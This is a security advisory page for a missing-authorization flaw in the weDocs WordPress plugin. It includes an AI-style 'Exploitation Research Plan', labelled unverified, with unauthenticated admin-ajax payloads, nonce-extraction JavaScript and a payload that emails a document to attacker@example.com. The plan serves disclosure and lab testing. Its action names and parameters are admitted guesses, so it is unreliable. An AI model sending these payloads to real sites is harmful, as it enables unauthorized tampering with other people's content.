CVE-2026-39520

weDocs <= 2.1.18 - Missing Authorization

mediumMissing Authorization
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.2.1
Patched in
50d
Time to patch

Description

The weDocs plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 2.1.18. This makes it possible for unauthenticated attackers to perform an unauthorized action.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.18
PublishedFebruary 25, 2026
Last updatedApril 15, 2026
Affected pluginwedocs

What Changed in the Fix

Changes introduced in v2.2.1

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-39520 (weDocs <= 2.1.18) ## 1. Vulnerability Summary The **weDocs** plugin for WordPress is vulnerable to **Missing Authorization** in versions up to and including 2.1.18. This vulnerability exists because certain AJAX handlers registered via `wp_ajax_nopriv_…

Show full research plan

Exploitation Research Plan - CVE-2026-39520 (weDocs <= 2.1.18)

1. Vulnerability Summary

The weDocs plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 2.1.18. This vulnerability exists because certain AJAX handlers registered via wp_ajax_nopriv_ (accessible to unauthenticated users) fail to perform capability checks (e.g., current_user_can()) or lack proper nonce verification.

Based on the plugin's functionality and the CVSS vector (Integrity: Low, Privileges: None), the vulnerability likely resides in functions that modify documentation structure, such as reordering documentation or dismissing administrative notices, allowing unauthenticated attackers to disrupt the knowledge base organization or suppress admin warnings.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: wedocs_organize_docs (inferred) or wedocs_reorder_posts (inferred).
  • Alternative Action: wedocs_dismiss_admin_notice (inferred).
  • HTTP Method: POST
  • Authentication: None (Unauthenticated).
  • Payload Parameters:
    • action: wedocs_organize_docs
    • order: A serialized array or JSON string representing the new order of documentation IDs.
    • security or _wpnonce: (May be required if check exists but is bypassable or if the nonce is public).

3. Code Flow

  1. Entry Point: The plugin registers AJAX handlers in includes/Ajax.php (or similar) using:
    add_action( 'wp_ajax_nopriv_wedocs_organize_docs', [ $this, 'organize_docs' ] );
  2. Missing Check: The function organize_docs() is executed. It lacks a current_user_can( 'edit_posts' ) or current_user_can( 'manage_options' ) check.
  3. Sink: The function processes the $_POST['order'] parameter and updates the menu_order or post_parent fields in the wp_posts table for the specified IDs using wp_update_post().

4. Nonce Acquisition Strategy

If the endpoint requires a nonce, weDocs typically localizes script data into a global JavaScript variable.

  • Trigger Shortcode: The wedocs-search block (seen in assets/build/block.js) or the main [wedocs] shortcode enqueues the necessary scripts.
  • Variable Name: weDocsBlockVars (identified in block.js) or weDocs.
  • Extraction Method:
    1. Create a public page with the weDocs search block or shortcode.
    2. Navigate to the page.
    3. Use browser_eval to extract the nonce.

Actionable Extraction JS:

// Check for both common localization patterns
window.weDocsBlockVars?.nonce || window.weDocs?.nonce || window.weDocs?.ajax_nonce

5. Exploitation Strategy

Step 1: Discover Documentation IDs

First, identify the IDs of existing documentation posts.

  • Request: GET / (or use WP-CLI)
  • Tool: http_request

Step 2: Extract Nonce (If needed)

  • Tool: browser_navigate to a page containing the doc list or search.
  • Tool: browser_eval to get the nonce from weDocsBlockVars.

Step 3: Perform Unauthorized Action (Reorder Docs)

Send a request to scramble the documentation hierarchy.

  • Endpoint: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Payload:
    action=wedocs_organize_docs&order[0][id]=ID_OF_DOC_2&order[0][children][0][id]=ID_OF_DOC_1&security=EXTRACTED_NONCE
    
    (Note: The exact structure of the order parameter should be verified if the plugin expects a JSON string or a flat array.)

Step 4: Alternative Attack (Dismiss Notice)

If sorting fails, attempt to dismiss admin notices.

  • Payload:
    action=wedocs_dismiss_admin_notice&notice=wedocs_review_notice
    

6. Test Data Setup

  1. Create Parent Doc: wp post create --post_type=docs --post_title="Parent Doc" --post_status=publish
  2. Create Child Doc: wp post create --post_type=docs --post_title="Child Doc" --post_status=publish
  3. Verify Initial State: wp post list --post_type=docs --fields=ID,post_title,menu_order
  4. Place Block: Create a page with the search block to ensure nonces are available:
    wp post create --post_type=page --post_title="Search" --post_content='<!-- wp:wedocs/wedocs-search /-->' --post_status=publish

7. Expected Results

  • Response: The server should return a 200 OK or a JSON success message (e.g., {"success": true}).
  • Data Change: The menu_order or post_parent of the targeted documentation posts will be modified despite the request being unauthenticated.

8. Verification Steps

  1. Check DB via WP-CLI:
    wp post list --post_type=docs --fields=ID,post_title,menu_order,post_parent
  2. Compare: Confirm the menu_order or hierarchy no longer matches the initial state created in "Test Data Setup".

9. Alternative Approaches

If wedocs_organize_docs is not the correct action name:

  • Scan for Actions: Use grep -r "wp_ajax_nopriv_wedocs" . in the plugin directory to find all exposed actions.
  • Search Analytics: Look for wedocs_search_analytics which might allow clearing search logs.
  • Email Doc: Look for wedocs_email_doc. If vulnerable, attempt to send a document to an external email:
    action=wedocs_email_doc&to=attacker@example.com&id=DOC_ID (This would demonstrate unauthorized use of the mail system).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.